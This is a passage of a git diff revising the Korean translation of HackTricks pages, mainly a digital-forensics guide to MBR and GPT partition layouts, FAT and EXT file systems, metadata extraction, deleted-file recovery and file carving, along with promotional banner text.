+AWS 해킹을 제로에서 히어로로 배우기htARTE (HackTricks AWS Red Team Expert)!
-**사이버 보안 회사**에서 일하시나요? **HackTricks에서 귀하의 회사를 광고**하고 싶으신가요? 또는 **PEASS의 최신 버전에 액세스**하거나 HackTricks를 **PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
+당신은 **사이버 보안 회사**에서 일하고 있습니까? 당신의 **회사가 HackTricks에 광고되기를 원하십니까**? 아니면 **최신 버전의 PEASS에 접근하거나 HackTricks를 PDF로 다운로드**하고 싶습니까? [**구독 계획**](https://github.com/sponsors/carlospolop)을 확인하세요!
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family)
-* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받으세요
-* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
+* [**PEASS 패밀리**](https://opensea.io/collection/the-peass-family), 우리의 독점 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션을 발견하세요.
+* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 받으세요.
+* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter**에서 저를 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-**해킹 트릭을 공유하려면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 PR을 제출**하세요.
+**당신의 해킹 트릭을** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **와** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 PR을 제출하여 공유하세요.**
\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
-오늘 바로 액세스하세요:
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
+지금 바로 접근하세요:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
diff --git a/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md b/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md
index 90809e3cc..b634fb417 100644
--- a/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md
+++ b/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md
@@ -1,69 +1,70 @@
-# 파티션/파일 시스템/카빙
+# Partitions/File Systems/Carving
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!
+Support HackTricks
-HackTricks를 지원하는 다른 방법:
-
-* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
-* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
-## 파티션
+## Partitions
-**하드 드라이브** 또는 **SSD 디스크에는 데이터를 물리적으로 분리하기 위한 다른 파티션**이 포함될 수 있습니다.\
-디스크의 **최소** 단위는 **섹터**입니다(일반적으로 512B로 구성됨). 따라서 각 파티션 크기는 해당 크기의 배수여야 합니다.
+하드 드라이브 또는 **SSD 디스크는 데이터를 물리적으로 분리하기 위해 서로 다른 파티션을 포함할 수 있습니다**.\
+디스크의 **최소** 단위는 **섹터**(일반적으로 512B로 구성됨)입니다. 따라서 각 파티션 크기는 해당 크기의 배수여야 합니다.
### MBR (마스터 부트 레코드)
-**부팅 코드의 446B 이후 디스크의 첫 번째 섹터에 할당**됩니다. 이 섹터는 PC에게 파티션을 어디에서 어떻게 마운트해야 하는지 알려주는 데 중요합니다.\
-**최대 4개의 파티션**(최대 **1개만 활성/부팅 가능**)을 허용합니다. 그러나 더 많은 파티션이 필요한 경우 **확장 파티션**을 사용할 수 있습니다. 이 첫 번째 섹터의 마지막 바이트는 부트 레코드 서명 **0x55AA**입니다. 하나의 파티션만 활성화될 수 있습니다.\
+부트 코드의 446B 이후 **디스크의 첫 번째 섹터에 할당됩니다**. 이 섹터는 PC에 파티션을 어디서 어떻게 마운트해야 하는지를 나타내는 데 필수적입니다.\
+최대 **4개의 파티션**을 허용합니다(최대 **1개**만 활성/**부팅 가능**). 그러나 더 많은 파티션이 필요하면 **확장 파티션**을 사용할 수 있습니다. 이 첫 번째 섹터의 **마지막 바이트**는 부트 레코드 서명 **0x55AA**입니다. 하나의 파티션만 활성으로 표시할 수 있습니다.\
MBR은 **최대 2.2TB**를 허용합니다.
![](<../../../.gitbook/assets/image (489).png>)
![](<../../../.gitbook/assets/image (490).png>)
-MBR의 **바이트 440에서 443**까지는 **Windows 디스크 서명**(Windows를 사용하는 경우)을 찾을 수 있습니다. 하드 디스크의 논리 드라이브 문자는 Windows 디스크 서명에 따라 달라집니다. 이 서명을 변경하면 Windows 부팅이 방해될 수 있습니다(도구: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
+MBR의 **440에서 443 바이트**에서 **Windows 디스크 서명**을 찾을 수 있습니다(Windows가 사용되는 경우). 하드 디스크의 논리 드라이브 문자는 Windows 디스크 서명에 따라 달라집니다. 이 서명을 변경하면 Windows가 부팅되지 않을 수 있습니다(도구: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
![](<../../../.gitbook/assets/image (493).png>)
**형식**
-| 오프셋 | 길이 | 아이템 |
-| ----------- | ---------- | ------------------- |
-| 0 (0x00) | 446(0x1BE) | 부팅 코드 |
+| 오프셋 | 길이 | 항목 |
+| ----------- | -------- | ------------------- |
+| 0 (0x00) | 446(0x1BE) | 부트 코드 |
| 446 (0x1BE) | 16 (0x10) | 첫 번째 파티션 |
| 462 (0x1CE) | 16 (0x10) | 두 번째 파티션 |
| 478 (0x1DE) | 16 (0x10) | 세 번째 파티션 |
-| 494 (0x1EE) | 16 (0x10) | 네 번째 파티션 |
-| 510 (0x1FE) | 2 (0x2) | 서명 0x55 0xAA |
+| 494 (0x1EE) | 16 (0x10) | 네 번째 파티션 |
+| 510 (0x1FE) | 2 (0x2) | 서명 0x55 0xAA |
**파티션 레코드 형식**
-| 오프셋 | 길이 | 아이템 |
-| --------- | -------- | ------------------------------------------------------ |
+| 오프셋 | 길이 | 항목 |
+| --------- | ------ | ------------------------------------------------------ |
| 0 (0x00) | 1 (0x01) | 활성 플래그 (0x80 = 부팅 가능) |
-| 1 (0x01) | 1 (0x01) | 시작 헤드 |
-| 2 (0x02) | 1 (0x01) | 시작 섹터 (비트 0-5); 실린더의 상위 비트 (6-7) |
-| 3 (0x03) | 1 (0x01) | 시작 실린더 최하위 8비트 |
-| 4 (0x04) | 1 (0x01) | 파티션 유형 코드 (0x83 = Linux) |
-| 5 (0x05) | 1 (0x01) | 끝 헤드 |
-| 6 (0x06) | 1 (0x01) | 끝 섹터 (비트 0-5); 실린더의 상위 비트 (6-7) |
-| 7 (0x07) | 1 (0x01) | 끝 실린더 최하위 8비트 |
-| 8 (0x08) | 4 (0x04) | 파티션 이전 섹터 수 (리틀 엔디안) |
-| 12 (0x0C) | 4 (0x04) | 파티션 내 섹터 수 |
+| 1 (0x01) | 1 (0x01) | 시작 헤드 |
+| 2 (0x02) | 1 (0x01) | 시작 섹터 (비트 0-5); 실린더의 상위 비트 (6-7) |
+| 3 (0x03) | 1 (0x01) | 시작 실린더의 최하위 8비트 |
+| 4 (0x04) | 1 (0x01) | 파티션 유형 코드 (0x83 = Linux) |
+| 5 (0x05) | 1 (0x01) | 종료 헤드 |
+| 6 (0x06) | 1 (0x01) | 종료 섹터 (비트 0-5); 실린더의 상위 비트 (6-7) |
+| 7 (0x07) | 1 (0x01) | 종료 실린더의 최하위 8비트 |
+| 8 (0x08) | 4 (0x04) | 파티션 이전의 섹터 (리틀 엔디안) |
+| 12 (0x0C) | 4 (0x04) | 파티션 내의 섹터 |
-Linux에서 MBR을 마운트하려면 먼저 시작 오프셋을 얻어야 합니다(`fdisk`와 `p` 명령을 사용할 수 있음).
+Linux에서 MBR을 마운트하려면 먼저 시작 오프셋을 가져와야 합니다( `fdisk`와 `p` 명령을 사용할 수 있습니다).
-![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>)
+![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>)
-그런 다음 다음 코드를 사용하세요.
+그런 다음 다음 코드를 사용하십시오.
```bash
#Mount MBR in Linux
mount -o ro,loop,offset=
@@ -72,68 +73,68 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
```
**LBA (논리 블록 주소 지정)**
-**논리 블록 주소 지정** (**LBA**)은 컴퓨터 저장 장치에 저장된 데이터 블록의 위치를 지정하는 데 사용되는 일반적인 체계로, 일반적으로 하드 디스크 드라이브와 같은 보조 저장 시스템에 사용됩니다. LBA는 특히 간단한 선형 주소 지정 체계이며, **블록은 정수 인덱스에 의해 찾아집니다**. 첫 번째 블록은 LBA 0이고, 두 번째는 LBA 1이며, 이와 같이 계속됩니다.
+**논리 블록 주소 지정** (**LBA**)는 컴퓨터 저장 장치에 저장된 데이터 블록의 위치를 지정하는 데 사용되는 일반적인 방식으로, 일반적으로 하드 디스크 드라이브와 같은 보조 저장 시스템에서 사용됩니다. LBA는 특히 간단한 선형 주소 지정 방식으로, **블록은 정수 인덱스로 위치가 지정되며**, 첫 번째 블록은 LBA 0, 두 번째 블록은 LBA 1 등으로 지정됩니다.
### GPT (GUID 파티션 테이블)
-GUID 파티션 테이블인 GPT는 MBR (마스터 부트 레코드)와 비교하여 향상된 기능으로 인해 선호됩니다. 파티션을 위한 **전역적으로 고유한 식별자**로 특징 지어지는 GPT는 여러 측면에서 두드러집니다:
+GUID 파티션 테이블, 즉 GPT는 MBR (마스터 부트 레코드)와 비교하여 향상된 기능으로 선호됩니다. 파티션에 대한 **전 세계적으로 고유한 식별자**로 독특한 GPT는 여러 면에서 두드러집니다:
-* **위치 및 크기**: GPT와 MBR은 모두 **섹터 0**에서 시작합니다. 그러나 GPT는 **64비트**에서 작동하며, MBR의 32비트와 대조됩니다.
-* **파티션 제한**: GPT는 Windows 시스템에서 최대 **128개의 파티션**을 지원하며, 최대 **9.4ZB**의 데이터를 수용합니다.
-* **파티션 이름**: 최대 36개의 유니코드 문자로 파티션에 이름을 지정할 수 있습니다.
+* **위치 및 크기**: GPT와 MBR은 모두 **섹터 0**에서 시작합니다. 그러나 GPT는 **64비트**로 작동하며, MBR은 32비트입니다.
+* **파티션 한계**: GPT는 Windows 시스템에서 최대 **128개의 파티션**을 지원하며, 최대 **9.4ZB**의 데이터를 수용할 수 있습니다.
+* **파티션 이름**: 최대 36개의 유니코드 문자로 파티션 이름을 지정할 수 있습니다.
-**데이터 내구성 및 복구**:
+**데이터 복원력 및 복구**:
-* **중복성**: MBR과 달리 GPT는 파티션 및 부팅 데이터를 단일 위치에 제한하지 않습니다. 이 데이터를 디스크 전체에 복제하여 데이터 무결성과 내구성을 향상시킵니다.
-* **순환 중복 검사 (CRC)**: GPT는 데이터 무결성을 보장하기 위해 CRC를 사용합니다. 데이터 손상을 적극적으로 모니터링하며, 감지되면 GPT는 손상된 데이터를 다른 디스크 위치에서 복구하려고 시도합니다.
+* **중복성**: MBR과 달리 GPT는 파티션 및 부트 데이터를 단일 위치에 제한하지 않습니다. 이 데이터를 디스크 전반에 복제하여 데이터 무결성과 복원력을 향상시킵니다.
+* **순환 중복 검사 (CRC)**: GPT는 데이터 무결성을 보장하기 위해 CRC를 사용합니다. 데이터 손상을 적극적으로 모니터링하며, 손상이 감지되면 GPT는 다른 디스크 위치에서 손상된 데이터를 복구하려고 시도합니다.
**보호 MBR (LBA0)**:
-* GPT는 보호 MBR을 통해 역호환성을 유지합니다. 이 기능은 레거시 MBR 공간에 위치하며, 오래된 MBR 기반 유틸리티가 GPT 디스크를 실수로 덮어쓰지 않도록 설계되어 GPT 형식의 디스크의 데이터 무결성을 보호합니다.
+* GPT는 보호 MBR을 통해 하위 호환성을 유지합니다. 이 기능은 레거시 MBR 공간에 존재하지만, 이전 MBR 기반 유틸리티가 실수로 GPT 디스크를 덮어쓰지 않도록 설계되어 GPT 형식의 디스크에서 데이터 무결성을 보호합니다.
![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID\_Partition\_Table\_Scheme.svg/800px-GUID\_Partition\_Table\_Scheme.svg.png](<../../../.gitbook/assets/image (491).png>)
**하이브리드 MBR (LBA 0 + GPT)**
-[Wikipedia에서](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
+[위키백과에서](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
-BIOS 서비스를 통해 **GPT 기반 부팅을 지원하는 운영 체제**에서는 첫 번째 섹터를 사용하여 **부트로더** 코드의 첫 번째 단계를 저장할 수 있지만, **수정**하여 **GPT 파티션**을 인식하도록 합니다. MBR의 부트로더는 섹터 크기를 512바이트로 가정해서는 안 됩니다.
+**EFI**가 아닌 **BIOS** 서비스를 통해 **GPT 기반 부팅**을 지원하는 운영 체제에서는 첫 번째 섹터가 **부트로더** 코드의 첫 번째 단계를 저장하는 데 여전히 사용될 수 있지만, **GPT** **파티션**을 인식하도록 **수정**됩니다. MBR의 부트로더는 섹터 크기가 512바이트라고 가정해서는 안 됩니다.
**파티션 테이블 헤더 (LBA 1)**
-[Wikipedia에서](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
+[위키백과에서](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
-파티션 테이블 헤더는 디스크의 사용 가능한 블록을 정의합니다. 또한 파티션 테이블을 구성하는 파티션 항목의 수와 크기를 정의합니다 (표의 오프셋 80 및 84).
+파티션 테이블 헤더는 디스크에서 사용 가능한 블록을 정의합니다. 또한 파티션 테이블을 구성하는 파티션 항목의 수와 크기를 정의합니다 (테이블의 오프셋 80 및 84).
-| 오프셋 | 길이 | 내용 |
-| --------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| 0 (0x00) | 8 바이트 | 시그니처 ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h 또는 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8) 리틀 엔디안 기계에서) |
-| 8 (0x08) | 4 바이트 | UEFI 2.8을 위한 리비전 1.0 (00h 00h 01h 00h) |
-| 12 (0x0C) | 4 바이트 | 리틀 엔디안에서 헤더 크기 (바이트 단위, 일반적으로 5Ch 00h 00h 00h 또는 92 바이트) |
-| 16 (0x10) | 4 바이트 | 헤더의 [CRC32](https://en.wikipedia.org/wiki/CRC32) (오프셋 +0부터 헤더 크기까지)의 리틀 엔디안 값, 이 필드는 계산 중에 0으로 설정됨 |
-| 20 (0x14) | 4 바이트 | 예약됨; 0이어야 함 |
-| 24 (0x18) | 8 바이트 | 현재 LBA (이 헤더 사본의 위치) |
-| 32 (0x20) | 8 바이트 | 백업 LBA (다른 헤더 사본의 위치) |
-| 40 (0x28) | 8 바이트 | 파티션의 첫 번째 사용 가능한 LBA (기본 파티션 테이블의 마지막 LBA + 1) |
-| 48 (0x30) | 8 바이트 | 마지막 사용 가능한 LBA (보조 파티션 테이블의 첫 번째 LBA - 1) |
-| 56 (0x38) | 16 바이트 | 혼합 엔디안의 디스크 GUID |
-| 72 (0x48) | 8 바이트 | 파티션 항목 배열의 시작 LBA (기본 사본에서 항상 2) |
-| 80 (0x50) | 4 바이트 | 배열의 파티션 항목 수 |
-| 84 (0x54) | 4 바이트 | 단일 파티션 항목의 크기 (일반적으로 80h 또는 128) |
-| 88 (0x58) | 4 바이트 | 리틀 엔디안의 파티션 항목 배열의 CRC32 |
-| 92 (0x5C) | \* | 나머지 블록에 대해 0이어야 하는 예약된 값 (512바이트 섹터 크기의 경우 420바이트이지만 더 큰 섹터 크기의 경우 더 많을 수 있음) |
+| 오프셋 | 길이 | 내용 |
+| --------- | ------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| 0 (0x00) | 8 바이트 | 서명 ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h 또는 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8) 리틀 엔디안 기계에서) |
+| 8 (0x08) | 4 바이트 | UEFI 2.8에 대한 수정 1.0 (00h 00h 01h 00h) |
+| 12 (0x0C) | 4 바이트 | 리틀 엔디안의 헤더 크기 (바이트 단위, 일반적으로 5Ch 00h 00h 00h 또는 92 바이트) |
+| 16 (0x10) | 4 바이트 | 헤더의 [CRC32](https://en.wikipedia.org/wiki/CRC32) (오프셋 +0에서 헤더 크기까지) 리틀 엔디안, 이 필드는 계산 중에 0으로 설정됨 |
+| 20 (0x14) | 4 바이트 | 예약; 0이어야 함 |
+| 24 (0x18) | 8 바이트 | 현재 LBA (이 헤더 복사본의 위치) |
+| 32 (0x20) | 8 바이트 | 백업 LBA (다른 헤더 복사본의 위치) |
+| 40 (0x28) | 8 바이트 | 파티션의 첫 번째 사용 가능한 LBA (기본 파티션 테이블의 마지막 LBA + 1) |
+| 48 (0x30) | 8 바이트 | 마지막 사용 가능한 LBA (보조 파티션 테이블의 첫 번째 LBA − 1) |
+| 56 (0x38) | 16 바이트 | 혼합 엔디안의 디스크 GUID |
+| 72 (0x48) | 8 바이트 | 파티션 항목 배열의 시작 LBA (기본 복사본에서 항상 2) |
+| 80 (0x50) | 4 바이트 | 배열의 파티션 항목 수 |
+| 84 (0x54) | 4 바이트 | 단일 파티션 항목의 크기 (일반적으로 80h 또는 128) |
+| 88 (0x58) | 4 바이트 | 리틀 엔디안의 파티션 항목 배열의 CRC32 |
+| 92 (0x5C) | \* | 예약; 나머지 블록에 대해 0이어야 함 (512바이트의 섹터 크기에 대해 420바이트; 그러나 더 큰 섹터 크기로 더 많을 수 있음) |
**파티션 항목 (LBA 2–33)**
| GUID 파티션 항목 형식 | | |
-| --------------------------- | -------- | ----------------------------------------------------------------------------------------------------------------- |
-| 오프셋 | 길이 | 내용 |
-| 0 (0x00) | 16 바이트 | [파티션 유형 GUID](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (혼합 엔디안) |
-| 16 (0x10) | 16 바이트 | 고유한 파티션 GUID (혼합 엔디안) |
-| 32 (0x20) | 8 바이트 | 첫 번째 LBA ([리틀 엔디안](https://en.wikipedia.org/wiki/Little\_endian)) |
-| 40 (0x28) | 8 바이트 | 마지막 LBA (포함, 일반적으로 홀수) |
-| 48 (0x30) | 8 바이트 | 속성 플래그 (예: 비트 60은 읽기 전용을 나타냄) |
-| 56 (0x38) | 72 바이트 | 파티션 이름 (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE 코드 단위) |
+| ---------------------- | -------- | ----------------------------------------------------------------------------------------------------------------- |
+| 오프셋 | 길이 | 내용 |
+| 0 (0x00) | 16 바이트 | [파티션 유형 GUID](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (혼합 엔디안) |
+| 16 (0x10) | 16 바이트 | 고유 파티션 GUID (혼합 엔디안) |
+| 32 (0x20) | 8 바이트 | 첫 번째 LBA ([리틀 엔디안](https://en.wikipedia.org/wiki/Little\_endian)) |
+| 40 (0x28) | 8 바이트 | 마지막 LBA (포함, 일반적으로 홀수) |
+| 48 (0x30) | 8 바이트 | 속성 플래그 (예: 비트 60은 읽기 전용을 나타냄) |
+| 56 (0x38) | 72 바이트 | 파티션 이름 (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE 코드 유닛) |
**파티션 유형**
@@ -143,11 +144,12 @@ BIOS 서비스를 통해 **GPT 기반 부팅을 지원하는 운영 체제**에
### 검사
-[**ArsenalImageMounter**](https://arsenalrecon.com/downloads/)를 사용하여 포렌식 이미지를 마운트한 후 Windows 도구 [**Active Disk Editor**](https://www.disk-editor.org/index.html)를 사용하여 첫 번째 섹터를 검사할 수 있습니다. 다음 이미지에서 **MBR**이 **섹터 0**에서 감지되고 해석되었습니다:
+[**ArsenalImageMounter**](https://arsenalrecon.com/downloads/)로 포렌식 이미지를 마운트한 후, Windows 도구인 [**Active Disk Editor**](https://www.disk-editor.org/index.html)**를 사용하여 첫 번째 섹터를 검사할 수 있습니다.** 다음 이미지에서 **섹터 0**에서 **MBR**이 감지되고 해석되었습니다:
![](<../../../.gitbook/assets/image (494).png>)
-**MBR 대신 GPT 테이블**이었다면 **섹터 1**에서 _EFI PART_ 서명이 나타날 것입니다 (이전 이미지에서는 비어 있음).
+**MBR** 대신 **GPT 테이블**인 경우 **섹터 1**에 _EFI PART_ 서명이 나타나야 합니다 (이전 이미지에서는 비어 있습니다).
+
## 파일 시스템
### Windows 파일 시스템 목록
@@ -160,41 +162,49 @@ BIOS 서비스를 통해 **GPT 기반 부팅을 지원하는 운영 체제**에
### FAT
-**FAT (File Allocation Table)** 파일 시스템은 핵심 구성 요소인 파일 할당 테이블을 기준으로 설계되었습니다. 이 시스템은 데이터 무결성을 보호하기 위해 테이블의 **두 개의 사본**을 유지하여 한쪽이 손상되더라도 데이터 무결성을 보장합니다. 테이블과 루트 폴더는 **고정 위치**에 있어야 하며 시스템의 시작 프로세스에 중요합니다.
+**FAT (파일 할당 테이블)** 파일 시스템은 볼륨의 시작에 위치한 파일 할당 테이블을 중심으로 설계되었습니다. 이 시스템은 **두 개의 복사본**을 유지하여 데이터 무결성을 보장합니다. 테이블과 루트 폴더는 **고정 위치**에 있어야 하며, 이는 시스템의 시작 프로세스에 중요합니다.
-파일 시스템의 기본 저장 단위는 **클러스터**이며, 일반적으로 512B로 구성되어 여러 섹터를 포함합니다. FAT는 다음과 같은 버전을 통해 발전해 왔습니다:
+파일 시스템의 기본 저장 단위는 **클러스터, 일반적으로 512B**로, 여러 섹터로 구성됩니다. FAT는 다음과 같은 버전으로 발전했습니다:
-* **FAT12**: 12비트 클러스터 주소를 지원하며 최대 4078개의 클러스터(UNIX 포함 4084개)를 처리합니다.
-* **FAT16**: 16비트 주소로 향상되어 최대 65,517개의 클러스터를 수용합니다.
-* **FAT32**: 32비트 주소로 더 발전하여 볼륨 당 268,435,456개의 클러스터를 허용합니다.
+* **FAT12**, 12비트 클러스터 주소를 지원하며 최대 4078 클러스터를 처리합니다 (UNIX와 함께 4084).
+* **FAT16**, 16비트 주소로 향상되어 최대 65,517 클러스터를 수용합니다.
+* **FAT32**, 32비트 주소로 더욱 발전하여 볼륨당 최대 268,435,456 클러스터를 허용합니다.
-FAT 버전 간의 중요한 제한 사항은 파일 크기 저장을 위해 사용되는 32비트 필드로 인한 **최대 4GB 파일 크기**입니다.
+FAT 버전 전반에 걸쳐 중요한 제한 사항은 **4GB 최대 파일 크기**로, 이는 파일 크기 저장에 사용되는 32비트 필드에 의해 부과됩니다.
특히 FAT12 및 FAT16의 루트 디렉토리의 주요 구성 요소는 다음과 같습니다:
* **파일/폴더 이름** (최대 8자)
* **속성**
-* **생성, 수정 및 최근 액세스 날짜**
+* **생성, 수정 및 마지막 접근 날짜**
* **FAT 테이블 주소** (파일의 시작 클러스터를 나타냄)
* **파일 크기**
### EXT
-**Ext2**는 부팅 파티션과 같이 **잘 변하지 않는 파티션**을 위한 가장 일반적인 파일 시스템입니다. **Ext3/4**는 **저널링**이며 일반적으로 **나머지 파티션**에 사용됩니다.
+**Ext2**는 **저널링하지 않는** 파티션 (**변경이 많지 않은 파티션**)에 가장 일반적인 파일 시스템입니다. **Ext3/4**는 **저널링**을 지원하며 일반적으로 **나머지 파티션**에 사용됩니다.
## **메타데이터**
-일부 파일에는 메타데이터가 포함되어 있습니다. 이 정보는 파일의 내용에 대한 것으로, 파일 유형에 따라 제목, 사용된 MS Office 버전, 작성자, 생성 및 최종 수정 날짜, 카메라 모델, GPS 좌표, 이미지 정보와 같은 정보가 있을 수 있습니다.
+일부 파일에는 메타데이터가 포함되어 있습니다. 이 정보는 파일의 내용에 대한 것으로, 파일 유형에 따라 분석가에게 흥미로울 수 있는 정보가 포함될 수 있습니다:
-파일의 메타데이터를 얻기 위해 [**exiftool**](https://exiftool.org) 및 [**Metadiver**](https://www.easymetadata.com/metadiver-2/)와 같은 도구를 사용할 수 있습니다.
+* 제목
+* 사용된 MS Office 버전
+* 저자
+* 생성 및 마지막 수정 날짜
+* 카메라 모델
+* GPS 좌표
+* 이미지 정보
+
+[**exiftool**](https://exiftool.org) 및 [**Metadiver**](https://www.easymetadata.com/metadiver-2/)와 같은 도구를 사용하여 파일의 메타데이터를 얻을 수 있습니다.
## **삭제된 파일 복구**
### 기록된 삭제된 파일
-이전에 볼 수 있듯이 파일이 "삭제"된 후에도 여전히 저장된 여러 위치가 있습니다. 이는 일반적으로 파일 시스템에서 파일을 삭제하면 삭제로 표시되지만 데이터는 손상되지 않기 때문입니다. 그런 다음 파일의 레지스트리(예: MFT)를 검사하고 삭제된 파일을 찾을 수 있습니다.
+이전에 보았듯이 파일이 "삭제"된 후에도 여러 장소에 여전히 저장되어 있습니다. 이는 일반적으로 파일 시스템에서 파일을 삭제하는 것이 단순히 삭제로 표시할 뿐 데이터는 건드리지 않기 때문입니다. 따라서 파일의 레지스트리(예: MFT)를 검사하고 삭제된 파일을 찾는 것이 가능합니다.
-또한 OS는 파일 시스템 변경 및 백업에 대한 많은 정보를 저장하므로 파일이나 가능한 많은 정보를 복구하기 위해 이를 사용할 수 있습니다.
+또한, OS는 일반적으로 파일 시스템 변경 및 백업에 대한 많은 정보를 저장하므로, 이를 사용하여 파일이나 가능한 한 많은 정보를 복구하려고 시도할 수 있습니다.
{% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
@@ -202,20 +212,20 @@ FAT 버전 간의 중요한 제한 사항은 파일 크기 저장을 위해 사
### **파일 카빙**
-**파일 카빙**은 데이터 덩어리에서 파일을 찾으려는 기술입니다. 이러한 도구가 작동하는 주요 방법은 **파일 유형 헤더 및 푸터**를 기반으로, 파일 유형 **구조**를 기반으로, 그리고 **콘텐츠** 자체를 기반으로 합니다.
+**파일 카빙**은 **대량의 데이터에서 파일을 찾으려는 기술**입니다. 이러한 도구가 작동하는 주요 방법은 **파일 유형 헤더 및 풋터**를 기반으로 하거나, 파일 유형 **구조**를 기반으로 하거나, **내용** 자체를 기반으로 합니다.
-이 기술은 **단편화된 파일을 검색하는 데 사용할 수 없습니다**. 파일이 **연속적인 섹터에 저장되지 않으면**, 이 기술로 파일이나 적어도 일부를 찾을 수 없습니다.
+이 기술은 **조각화된 파일을 검색하는 데는 작동하지 않습니다**. 파일이 **연속 섹터에 저장되지 않으면**, 이 기술은 파일을 찾거나 적어도 일부를 찾을 수 없습니다.
-파일 카빙에 사용할 수 있는 여러 도구가 있으며, 검색할 파일 유형을 지정할 수 있습니다.
+파일 카빙을 위해 검색할 파일 유형을 지정할 수 있는 여러 도구가 있습니다.
{% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
{% endcontent-ref %}
-### 데이터 스트림 **카빙**
+### 데이터 스트림 **C**arving
-데이터 스트림 카빙은 파일 카빙과 유사하지만 **완전한 파일 대신 흥미로운 조각 정보를 찾습니다**.\
-예를 들어, 로그된 URL을 포함한 완전한 파일을 찾는 대신, 이 기술은 URL을 검색합니다.
